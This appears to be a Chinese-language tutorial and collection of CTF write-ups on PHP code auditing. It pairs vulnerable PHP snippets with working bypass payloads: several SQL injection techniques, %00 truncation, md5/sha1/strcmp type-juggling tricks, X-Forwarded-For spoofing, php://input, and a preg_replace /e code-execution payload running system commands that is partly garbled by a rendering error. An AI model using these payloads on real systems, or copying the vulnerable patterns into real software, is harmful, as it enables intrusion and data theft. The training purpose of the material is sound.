审计思路
web安全重点就三个词——“输入”,“输出”,“数据流”。
1、逆向追踪/回溯变量—检查敏感函数的参数,判断参数可控?是否有过滤?
搜索响应的敏感关键字,定向挖掘,高效、高质量
2、正向追踪/跟踪变量—找到哪些文件在接收外部传入的参数,跟踪变量的传递过程,观察是否有高危函数
3、直接挖掘功能点漏洞—根据自身经验判断
4、通读全文—index文件,了解程序架构
函数集文件,通常名为functions,common 等
配置文件,config
安全过滤文件,filter safe,check
sql注入
注入方式
1. 普通注入
概述
普通注入分为字符型注入和数值型注入
数据库操作
select from
mysql_connect
mysql_query
mysql_fetch_row
数据库查询
update
insert
delete
2. 宽字节注入
概述
1、单字节字符集:所有的字符都使用一个字节来表示,比如 ASCII 编码(0-127)
2、多字节字符集:在多字节字符集中,一部分字节用多个字节来表示,另一部分(可能没有)用单个字节来表示。
3、宽字节注入时利用mysql的一个特性,使用GBK编码的时候,会认为两个字符是一个汉字
addslashes()函数
1、addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
2、预定义字符:单引号('),双引号("),反斜杠(\),NULL
3、 示例
<?php
$ss=addslashes('aiyou"bu"cuoo');
echo($ss);
?>
运行结果:
aiyou\"bu\"cuoo
绕过方法
我们可以在输入的时候对于特殊符号引号,斜杠,反斜杠这些在他前面加%df使得让他和“\”这个符号在数据库中进行组合编译,编译成一个汉字,以至于绕过宽字节。
select * from user where id='1運' and 1=1#'
这个代码就是宽字节绕过之后数据库查询的代码
3. 编码注入
概述
通过输入转码函数不兼容的特殊字符,可以导致输出的字符编程有害数据。最常见的编码注入就是Mysql宽字节以及urldecode/rawurldecode。urldecode是一个转码函数,rawurldecode是一个解码函数。
urlCode二次编码分析
还是先上源码
<?php
if(eregi("hackerDJ",$_GET[id])) {
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
echo "<p>Access granted!</p>";
echo "<p>flag: *****************} </p>";
}
?>
这里我们要了解一点课外知识了
eregi — 不区分大小写的正则表达式匹配
我们需要绕过第一个判断,也就是id的值不等于hackerDJ,但是第二个判断有需要id的值等于它。所以这个肯定是有漏洞的。在这一行进行了url编码的解码
$_GET[id] = urldecode($_GET[id]);
所以我们要进行二次编码,将hackerDJ值进行编码,然后绕过第一个匹配到第二个。
hackerDJ的url编码:%68%61%63%6b%65%72%44%4a
hackerDJ的二次编码为:%25%36%38%25%36%31%25%36%33%25%36%62%25%36%35%25%37%32%25%34%34%25%34%61
payload:?id=%25%36%38%25%36%31%25%36%33%25%36%62%25%36%35%25%37%32%25%34%34%25%34%61
结果
靶场分析
函数绕过
extract方法变量覆盖。
<?php
$flag='xxx';
extract($_GET);
if(isset($shiyan))
{
$content=file_get_contents($flag);
if($shiyan==$content)
{
echo'ctf{xxx}';
}
else
{
echo'Oh.no';
}
}
?>
可以看到漏洞点就在我标注的那两个地方。
第一个GET值没有说明传递的具体值,所以我们可以都可以传递这个文件里的所有值。
第二个content的值就是传递的flag文件内容。
因为这里判断了content参数和shiyan这个参数相等则会获取到flag值
所以我们只需要构造flag参数的文件内容和shiyan参数的值相同就可以。但是flag值已经给了。我们又可以利用extract函数将flag参数值给覆盖掉。
但是我们不知道文件里面的内容。所以我们可以利用file_get_contents函数的漏洞,当文件不存在则会返回空值。
所以我们构造payload
payload:?shiyan=&flag=
ereg正则%00绕过(科学计数法)
还是先分析源代码吧
<?php
$flag = "flag";
if (isset ($_GET['password']))
{
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
{
echo '<p>You password must be alphanumeric</p>';
}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{
if (strpos ($_GET['password'], '*-*') !== FALSE) //strpos — 查找字符串首次出现的位置
{
die('Flag: ' . $flag);
}
else
{
echo('<p>*-* have not been found</p>');
}
}
else
{
echo '<p>Invalid password</p>';
}
}
?>
先分析这三个判断吧。
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
{
echo '<p>You password must be alphanumeric</p>';
}
这个判断就是说只能以a-z,A-Z,0-9开头并结尾。
这个随便输入数字字母都能绕过
然后这个判断判断的是长度小于8,然后数值要大于9999999
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{
这题我们只能利用科学计数法绕过
payload:12e12
if (strpos ($_GET['password'], '*-*') !== FALSE) //strpos — 查找字符串首次出现的位置
这个判断我们需要借用0x00截断进行攻击了。
将后面的特殊符号给截断。
payload:1e9%00*-*
ereg正则%00绕过(strpos函数)
<?php
$flag = "flag";
if (isset ($_GET['nctf'])) {
if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
echo '必须输入数字才行';
else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '骚年,继续努力吧啊~';
}
?>
这段代码也没啥说的,他必须是数字,但是他又要包含字符串。所以第一印象应该采用%00进行截断。
但是还是没有绕过第二个判断,必须包含字符串。所以尝试将#号修改为%23。
成功
这题应该关键点是考的是oxoo截断吧。
字符型绕过orSQL注入绕过
绕过过滤的空白字符
<?php
$info = "";
$req = [];
$flag="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";
ini_set("display_error", false); //为一个配置选项设置值
error_reporting(0); //关闭所有PHP错误报告
if(!isset($_GET['number'])){
header("hint:26966dc52e85af40f59b4fe73d8c323a.txt"); //HTTP头显示hint 26966dc52e85af40f59b4fe73d8c323a.txt
die("have a fun!!"); //die — 等同于 exit()
}
这段代码的意思是传递需要一个number值,他会判断如果number值不存在则在网页的头部添加hint请求头之后退出。
foreach([$_GET, $_POST] as $global_var) { //foreach 语法结构提供了遍历数组的简单方式
foreach($global_var as $key => $value) {
$value = trim($value); //trim — 去除字符串首尾处的空白字符(或者其他字符)
is_string($value) && $req[$key] = addslashes($value); // is_string — 检测变量是否是字符串,addslashes — 使用反斜线引用字符串
}
}
这段代码就是将传递过来的number值和POST传递过来的值进行组合,将他们组合成数组。然后遍历这个数组,去掉value值空字符和其他字符。
然后将value值添加到前面创建的列表中。
function is_palindrome_number($number) {
$number = strval($number); //strval — 获取变量的字符串值
$i = 0;
$j = strlen($number) - 1; //strlen — 获取字符串长度
while($i < $j) {
if($number[$i] !== $number[$j]) {
return false;
}
$i++;
$j--;
}
return true;
}
这段代码虽然他写了一个循环,但是只运行了一次。就是判断number这个字符串的首尾相不相同,如果相同则返回true,否则就返回false。
if(is_numeric($_REQUEST['number'])) //is_numeric — 检测变量是否为数字或数字字符串
{
$info="sorry, you cann't input a number!";
}
elseif($req['number']!=strval(intval($req['number']))) //intval — 获取变量的整数值
{
$info = "number must be equal to it's integer!! ";
}
这段代码就是判断输入的number值是否为数字。
else
{
$value1 = intval($req["number"]);
$value2 = intval(strrev($req["number"]));
if($value1!=$value2){
$info="no, this is not a palindrome number!";
}
else
{
if(is_palindrome_number($req["number"])){
$info = "nice! {$value1} is a palindrome number!";
}
else
{
$info=$flag;
}
}
}
echo $info;
定义两个变量,一个正向取number值,一个逆向取number值。然后判断首尾是否相同。下面在判断输入的number值是否为数字,如果是则将他是数字这个字符串传递给info。反之则将flag值传递给info然后输出。
所以我们要构造number值为字符串,但是又要绕过前面的判断他首尾相同。所以我们构造一个首尾相同并且又是字符串的数值,还要等于它本身。
payload=?number=%00%2B121
因为他判断了进行了四次判断。我们都要绕过。
1. is_numeric($_REQUEST['number'] ## 判断是否为数字
2. $req['number']!=strval(intval($req['number'])) ##判断req列表中的number的字符串是否和取出的数值转换后的字符串相等
3. intval($req["number"]) == intval(strrev($req["number"])) ##判断首尾是否相同
4. is_palindrome_number($req["number"] ##这个函数也是否首尾相同
第一个我们要绕过他让他变为假。所以我们可以使用0x00进行截断。
第二个我们可以不用绕过
第三个与第二个一样把他转换成为数值型比较。也不用绕过
第四个比较首尾相不相同,我们要绕过他使他不相同,我们在他数值前面或者后面添加%2B也就是“+”号,让他绕过。
sql注入绕过
直接上源代码
function AttackFilter($StrKey,$StrValue,$ArrReq){
if (is_array($StrValue)){
//检测变量是否是数组
$StrValue=implode($StrValue);
//返回由数组元素组合成的字符串
}
if (preg_match("/".$ArrReq."/is",$StrValue)==1){
//匹配成功一次后就会停止匹配
print "水可载舟,亦可赛艇!";
exit();
}
}
这个函数定义的是将传递过去的post参数变为一个字符串
上面代码又将post传输过去的字符串进行过滤将一些关键字等特殊符号进行过滤掉。
$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
//设置活动的 MySQL 数据库
这段代码毫无作用,可以将他注释掉。
if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
}else{
print "亦可赛艇!";
}
}else{
print "一颗赛艇!";
}
这段代码就是当查询到的记录和Post表单传递过去的参数相同就输出flag。反之则退出。
所以说关键点在输入的用户名和密码这里,。
我们可以绕过这里进行注入,由源代码可以看到是单引号注入。
但是因为他过滤了很多条件。
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
所以我们不能注入,但是我们可以构造查询语句绕过下面的判断。
我们可以在uname上构造:1’ group by password with roolup limit 1 offset 1
让他的结果查询的password的结果为空,。
完整代码演示。
输入1就会查询用户名为1的记录
现在来补充一点小知识
limit 1 表示取一条记录
limit 1,2 表示从第二条开始取两个
offset 1 表示从第二条记录开始
现在回归正题,我们可以构建上面的代码,让他的password给替换成为空,这样我们就拿到了他的flag值。
这题也可以构建**1’ group by password with limit 1,1 – **。
MD5SQL注入绕过
先上源代码
<?php
//配置数据库
// if($_POST[user] && $_POST[pass]) {
// $conn = mysql_connect("********, "*****", "********");
// mysql_select_db("phpformysql") or die("Could not select database");
// if ($conn->connect_error) {
// die("Connection failed: " . mysql_error($conn));
// }
//赋值
$user = $_GET[user];
$pass = md5($_GET[pass]);
//sql语句
// select pw from php where user='' union select 'e10adc3949ba59abbe56e057f20f883e' #
// ?user=' union select 'e10adc3949ba59abbe56e057f20f883e' #&pass=123456
$sql = "select pw from php where user='$user'";
// $query = mysql_query($sql);
// if (!$query) {
// printf("Error: %s\n", mysql_error($conn));
// exit();
// }
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];
if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
//如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。
echo "<p>Logged in! Key:************** </p>";
}
else {
echo("<p>Log in failure!</p>");
}
//}
?>
别看源代码如此之多,其实就几条关键语句
<?php
$user = $_GET[user];
$pass = md5($_GET[pass]);
$sql = "select pw from php where user='$user'";// $query = mysql_query($sql);
$row = mysql_fetch_array($query, MYSQL_ASSOC);
if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
//如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。
echo "<p>Logged in! Key:************** </p>";
}
else {
echo("<p>Log in failure!</p>");
}
?>
就这几段代码有用,我们先分析吧。
看道源代码发现了一个sql单引号字符注入漏洞。
然后看到输入的pass经过了md5加密。
我们看到这下面这一段代码,既要让sql中查询到内容还要让pass和pw也就是数据库查询的值相等,所以我们要构造sql注入md5值进行绕过,使得pw有值才能获取到flag值。
if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
所以我们可以利用md5进行加密与构造的pass值相同。
然后我们构造payload
payload:?user=1' union select 'e10adc3949ba59abbe56e057f20f883e' #&pass=123456
所以这里关键点是构造的sql函数,只要函数构造对了就能成功。
SQL闭合绕过
<?php
$user = $_GET[user];
$pass = md5($_GET[pass]);
$sql = "select user from php where (user='$user') and (pw='$pass')";
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];
if($row['user']=="admin") {
echo "<p>Logged in! Key: *********** </p>";
}
if($row['user'] != "admin") {
echo("<p>You are not admin!</p>");
}
}
?>
这个都看了无数遍了,没多少难的,一眼就看到了sql注入漏洞。多参数单引号右括号闭合。
$sql = "select user from php where (user='$user') and (pw='$pass')";
因为这里只是对user进行了判断是否为admin,没有对pass这个进行判断,所以我们可以在user哪里进行sql注入,不用管pass字段的值直接在构造的sql注入后面进行注释。
payload:?user=admin') union select 'admin' #&pass=')#
然后一直报错,甚至我输出他的user和pass值都有
最后查看源码才恍然大悟,是我根本没有这个数据库里面的表,傻了!!!
这个表没有肯定查询出来的结果也没有。所以Row值是空的,所以flag值出现不了。
SQL注入or绕过
源代码
<?php
#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';
function clean($str){
if(get_magic_quotes_gpc()){ //get_magic_quotes_gpc — 获取当前 magic_quotes_gpc 的配置选项设置
$str=stripslashes($str); //返回一个去除转义反斜线后的字符串(\' 转换为 ' 等等)。双反斜线(\\)被转换为单个反斜线(\)。
}
return htmlentities($str, ENT_QUOTES);
}
$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);
//$query='SELECT * FROM users WHERE name=\''admin\'\' AND pass=\''or 1 #'\';';
$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
die('Invalid password!');
}
echo $flag;
?>
上面代码其实clear基本没用,有用的是下面的代码。
$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
die('Invalid password!');
}
echo $flag;
这段代码说的是查询有结果,则返回flag值。
payload:?user=admin' or 1=1 #
在这一题一直尝试,结果发现我没有那个数据库。
md5函数true绕过注入
<?php
$link = mysql_connect('127.0.0.1:3306', 'root', 'root');
if (!$link) {
die('Could not connect to MySQL: ' . mysql_error());
}
// 选择数据库
$db = mysql_select_db("security", $link);
if(!$db)
{
echo 'select db error';
exit();
}
// 执行sql
$password = $_GET['password'];
$sql = "SELECT * FROM users WHERE password = '".md5($password,true)."'";
var_dump($sql);
$result=mysql_query($sql) or die('<pre>' . mysql_error() . '</pre>' );
$row1 = mysql_fetch_row($result);
var_dump($row1);
mysql_close($link);
?>
这段代码太长了,还是看关键的。
$sql = "SELECT * FROM users WHERE password = '".md5($password,true)."'";
就这一段,因为你要绕过他,使他有答案,所以我们只能看答案了。
死记硬背吧。
因为“ffifdyop”的十六位二进制数加密之后是'or'6
刚好绕过sql注入。所以答flag就直接出来了。
这题没有任何捷径,只能死记硬背ffifdyop
。
加密绕过
文件加密
开始打开网页以为服务器崩了。一直不显示正确的网页,后面看到源码才发现自己还是太年轻了。
最重要的代码在下方。
if(isset($requset['token']))
//测试变量是否已经配置。若变量已存在则返回 true 值。其它情形返回 false 值。
{
$login = unserialize(gzuncompress(base64_decode($requset['token'])));
//gzuncompress:进行字符串压缩
//unserialize: 将已序列化的字符串还原回 PHP 的值
$db = new db();
$row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
//mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
if($login['user'] === 'ichunqiu')
{
echo $flag;
}else if($row['pass'] !== $login['pass']){
echo 'unserialize injection!!';
}else{
echo "(╯‵□′)╯︵┴─┴ ";
}
}else{
header('Location: index.php?error=1');
}
一进去就判断token值,如果他存在则执行下面操作。不存在就重定向到报错页面。搞得我以为服务器炸了。
在看if语句里的关键内容吧。
$login = unserialize(gzuncompress(base64_decode($requset['token'])));
这段代码就是将token值进行base64编码,编码之后让他进行压缩,更气的是压缩之后还要序列化它。
if($login['user'] === 'ichunqiu')
{
echo $flag;
}else if($row['pass'] !== $login['pass']){
echo 'unserialize injection!!';
}else{
echo "(╯‵□′)╯︵┴─┴ ";
}
这里判断login数组的user值为ichunqiu,也就是上面token值压缩之后的值为ichunqiu。
所以我们要先将token值进行反序列化和解压缩。也就是构造ichunqiu。
将反序列化的结果通过token值传递给php页面。发现一直报错。然后修改源代码查看user的值发现只有一个i。
最后发现压缩的时候将token值压缩成了一个数组,所以我们构造数组token,也就是创建一个数组,值为ichunqiu就行。
然后以为成功的时候结果啥都不打印,搞得有点抓耳挠腮了。
后面查看源代码发现就只将flag值传递给了info。flag值都没有定义。
去修改源代码,将flag值添加上去。
后面就成功了,所以说这题不止要修改代码,还要构建代码。
MD5相似绕过
先上源代码
<?php
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
echo "nctf{*****************}";
} else {
echo "false!!!";
}}
else{echo "please input a";}
?>
上面函数说明,先将字符串进行md5加密,然后让传递一个参数,他不能等于这个字符串,但是要让他们的md5值相同。
所以我们要进行绕过。
==
对比的时候会进行数据转换,0eXXXXXXXXXX
转成0
了,如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换为数值并且比较按照数值来进行。
所以我们只需要构建前面两个md5值为0e开头就行了。
var_dump(md5('240610708') == md5('QNKCDZO'));
var_dump(md5('aabg7XSs') == md5('aabC9RqS'));
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));
var_dump('0010e2' == '1e3');
var_dump('0x1234Ab' == '1193131');
var_dump('0xABCdef' == ' 0xABCdef');
md5('240610708'); // 0e462097431906509019562988736854
md5('QNKCDZO'); // 0e830400451993494058024219903391
结果
密码MD5比较绕过
<?php
if($_GET[user] && $_GET[pass]) {
// mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
// mysql_select_db(SAE_MYSQL_DB);
$user = $_GET[user];
$pass = md5($_GET[pass]);
$query = @mysql_fetch_array(mysql_query("select pw from ctf where user=' $user '"));
if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
//strcasecmp:0 - 如果两个字符串相等
echo "<p>Logged in! Key: ntcf{**************} </p>";
}
else {
echo("<p>Log in failure!</p>");
}
}
?>
这一题又是数据库,所以只能看出大概。他判断的是查询的值必须有然后他与输入的值转换成为md5后结果相同,所以我们可以将查询哪里闭合掉,构建一个md5值。进行绕过
payload:?user=’ union select ‘e10adc3949ba59abbe56e057f20f883e’ – k&pass=123456
因为没有连接数据库所以他只能报错。
18 md5()函数===使用数组绕过
<?php
error_reporting(0);
$flag = 'flag{test}';
if (isset($_GET['username']) and isset($_GET['password'])) {
if ($_GET['username'] == $_GET['password'])
print 'Your password can not be your username.';
else if (md5($_GET['username']) === md5($_GET['password']))
die('Flag: '.$flag);
else
print 'Invalid password';
}
?>
这题有三个判断。
if (isset($_GET['username']) and isset($_GET['password']))
if ($_GET['username'] == $_GET['password'])
else if (md5($_GET['username']) === md5($_GET['password']))
第一个判断是username和password不为空
第二个判断是username和password要绕过使他不相同
第三个判断是他们的md5值相同。
因为md5函数的特性是如果传递的不是字符串则返回NULL
所以我们可以构建数组,使他绕过。
payload:?username[]=1&password[]=2.
十六进制的比较
<?php
error_reporting(0);
function noother_says_correct($temp)
{
$flag = 'flag{test}';
$one = ord('1'); //ord — 返回字符的 ASCII 码值
$nine = ord('9'); //ord — 返回字符的 ASCII 码值
$number = '3735929054';
// Check all the input characters!
for ($i = 0; $i < strlen($number); $i++)
{
// Disallow all the digits!
$digit = ord($temp{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
// Aha, digit not allowed!
return "flase";
}
}
if($number == $temp)
return $flag;
}
$temp = $_GET['password'];
echo noother_says_correct($temp);
?>
下面代码表示循环遍历temp的值,也就是输入的值,将值转化为ascii码传递给digit。
for ($i = 0; $i < strlen($number); $i++)
{
// Disallow all the digits!
$digit = ord($temp{$i});
然后比较不能输入1,-9的数字,所以我们要绕过这里。
if ( ($digit >= $one) && ($digit <= $nine) )
{
// Aha, digit not allowed!
return "flase";
}
}
但是下面有必须让输入的值与它定义的值相等。
if($number == $temp)
return $flag;
}
所以我们可以利用十六进制数进行与十进制比较,因为同一个十六进制数与十进制数比较结果相等。
我们用函数将定义的number值用十六进制输出出来。
函数代码: echo dechex(3735929054);
然后将输出的十六进制数传递给password。
payload:?password=0xdeadc0de
ereg_replace的\e参数漏洞
上源码:
<?php $id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace('/(' . $re . ')/ei', 'strtolower("\\1")', $str);
}
foreach ($_GET as $re => $str) {
echo complex($re, $str) . "\n";
}
function getFlag() {
@eval($_GET['cmd']);
};
这个案例实际上很简单,就是 preg_replace 使用了 /e
模式,导致可以代码执行,而且该函数的第一个和第三个参数都是我们可以控制的。我们都知道, preg_replace 函数在匹配到符号正则的字符串时,会将替换字符串(也就是上图 preg_replace 函数的第二个参数)当做代码来执行,然而这里的第二个参数却固定为 ‘strtolower(“\1”)’ 字符串,那这样要如何执行代码呢?
所以我们构造的payload为GET参数一个\S值为${phpinfo()}
这个payload的意思就是执行phpinfo这个指令。\S就是所有空字符。
因为需要获取flage值,我们需要传递利用getFlag函数里面的命令执行漏洞进行注入。但是原函数又没有执行这个函数,所有我们需要构造payload进行执行这个函数。
payload
?\S*=KaTeX parse error: Expected 'EOF', got '&' at position 12: {getFlag()}&̲cmd=system("ls …{getFlag()}&cmd=system(cat /flag");
危险函数示例
strcmp危险函数
还是分析源码
<?php
$flag = "flag";
if (isset($_GET['a'])) {
if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。
//比较两个字符串(区分大小写)
die('Flag: '.$flag);
else
print 'No';
}
?>
这题没啥分析的,看到strcmp函数就可以构造了。
还是先了解一下strcmp是个啥吧。
一般形式:strcmp(字符串1,字符串2)
说明:
当s1<s2时,返回为负数 注意不是-1
当s1==s2时,返回值= 0
当s1>s2时,返回正数 注意不是1
即:两个字符串自左向右逐个字符相比(按ASCII值大小相比较),直到出现不同的字符或遇’\0’为止。如:
“A”<“B” “a”>“A” “computer”>“compare”
特别注意:strcmp(const char *s1,const char * s2)这里面只能比较字符串,不能比较数字等其他形式的参数。
所以说只要构造参数他不为字符串到时候就会报错,他的返回值就是0
所以我们可以构建a的参数为数组。
payload:?a[]=1
sha()危险函数
<?php
$flag = "flag";
if (isset($_GET['name']) and isset($_GET['password']))
{
if ($_GET['name'] == $_GET['password'])
echo '<p>Your password can not be your name!</p>';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo '<p>Invalid password.</p>';
}
else
echo '<p>Login first!</p>';
?>
这一题也不用分析了,因为他第一个判断需要name和password的值
所以第一个很好绕过。
第二个绕过直接用sha函数的漏洞,他不能对数组进行一系列操作,所以我们可以利用数组。
payload:?name[]=it&password[]=1
intval取整函数绕过
完整代码
<?php
if($_GET[id]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$id = intval($_GET[id]);
$query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
if ($_GET[id]==1024) {
echo "<p>no! try again</p>";
}
else{
echo($query[content]);
}
}
?>
上面一堆代码看不懂,然后看到下面判断,和intval取整函数就知道怎么绕过了。
起初还以为是sql注入绕过。后面发现可以直接使用intval这个取整危险函数绕过就行。
intval:这个函数时取整函数,遇上数字或正负符号才开始做转换,再遇到非数字或字符串结束时(\0)结束转换。
所以这里,直接输入一个小数,让他绕过下面没有取整的判断。
payload=?id=1024.1
上面的报错只是因为我没有那个数据库,然后连接失败这些。整体来说还是正确的。
19 ereg()函数strpos() 函数用数组返回NULL绕过
<?php
$flag = "flag";
if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
echo 'You password must be alphanumeric';
else if (strpos ($_GET['password'], '--') !== FALSE)
die('Flag: ' . $flag);
else
echo 'Invalid password';
}
?>
这题之前做过类似的,可以使用%00截断。
payload :?password=lj%00–
弱类型整数大小比较绕过(is_numeric)
<?php
error_reporting(0);
$flag = "flag{test}";
$temp = $_GET['password'];
is_numeric($temp)?die("no numeric"):NULL;
if($temp>1336){
echo $flag;
}
?>
这个是危险函数的实例
is_numeric的特性:
当数字加字符串的时候会直接取数字,忽略掉字符。
所以我们只需要构造大于1336的数加上一个字符串就OK了。
payload:?password=1337b
md5函数验证绕过
<?php
error_reporting(0);
$flag = 'flag{test}';
$temp = $_GET['password'];
if(md5($temp)==0){
echo $flag;
}
?>
这题直接利用md5函数的危险性,传递一个空数组就过去了。
头部验证绕过
session验证绕过
<?php
$flag = "flag";
session_start();
if (isset ($_GET['password'])) {
if ($_GET['password'] == $_SESSION['password'])
die ('Flag: '.$flag);
else
print '<p>Wrong guess.</p>';
}
mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));
?>
这段代码其实就一句关键代码
只需要绕过这个password就行,因为password在未登录的情况下他的session值为空,我们只要上传password的值为空就可以绕过。
payload:?password=
X_FORWARDED_FOR头部绕过
还是先看源代码吧
<?php
function GetIP(){
if(!empty($_SERVER["HTTP_CLIENT_IP"]))
$cip = $_SERVER["HTTP_CLIENT_IP"];
else if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"]))
$cip = $_SERVER["HTTP_X_FORWARDED_FOR"];
else if(!empty($_SERVER["REMOTE_ADDR"]))
$cip = $_SERVER["REMOTE_ADDR"];
else
$cip = "0.0.0.0";
return $cip;
}
$GetIPs = GetIP();
if ($GetIPs=="1.1.1.1"){
echo "Great! Key is *********";
}
else{
echo "错误!你的IP不在访问列表之内!";
echo $GetIPs;
}
?>
这段代码很简单,就是要修改自己的ip,让他绕过,所以我们可以一个个地试。
先尝试用burp进行抓包。将抓到的包发送到repeater模块。
然后利用里面的判断进行尝试,尝试修改自己的ip地址为1.1.1.1
ps:这里有坑,这应该是横线,而不是下划线。
先来个总结吧,修改ip地址的头部参数
Client-ip: 客户端ip
x-forward-for:XFF头 HTTP请求端真实的IP
remote-addr:
前两个可以进行伪造,最后一个虽然可以伪造但是实现有点困难。
其他
php://input和substr绕过。
这题太难了。上源代码。
<?php
if(!$_GET['id']) {
header('Location:
index.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.')){
echo 'Hahahahahaha';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4) {
echo "flag is me";
} else {
echo $data;
print "work harder!harder!harder!";
}
?>
``
先分析吧。首先我们要先绕过下面的判断
```php
if(!$_GET['id']) {
header('Location:
index.php?id=1');
exit();
}
这个判断号绕过,在数字后面加一个字母
payload:?id=1a
最难的是下面的判断。
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4) {
echo "flag is me";
}
这段贼难,还是先补充一下其他的知识吧。
eregi(pattern,string) 这个是正则匹配的函数,第一个参数是正则匹配的参数,第二个参数是在那里面匹配。
例如:eregi("111","1114")在1114里面匹配111
substr(str,str.list,length):截取字符串的函数,第一个参数是需要截取的字符串,第二个参数是从第几个下标开始截,第三个参数是截几个。
例如:substr("flag is me",0,4):从第一个开始截取4个字符。就是flag
函数明白了在去尝试吧。试了很多次,就不依依截下来了,就发成功答案吧。
payload:?id=0a&a=1.txt&b=%0011111
那三个判断成功之后结果他还是判断失败,在来找一下错误发现data里面的内容是空的。这下又没有办法了。又继续尝试。
下面又得补充知识了
php://input 是个可以访问请求的原始数据的只读流。
POST 请求的情况下,最好使用 php://input 来代替 $HTTP_RAW_POST_DATA,因为它不依赖于特定的 php.ini 指令。
而且,这样的情况下 $HTTP_RAW_POST_DATA 默认没有填充, 比激活 always_populate_raw_post_data 潜在需要更少的内存。
enctype="multipart/form-data" 的时候 php://input 是无效的。
所以我们将a的参数修改,利用bp进行抓包,将上传方法改为post,添加要上传的参数。
payload:?id=0a&a=php://input&b=%0011111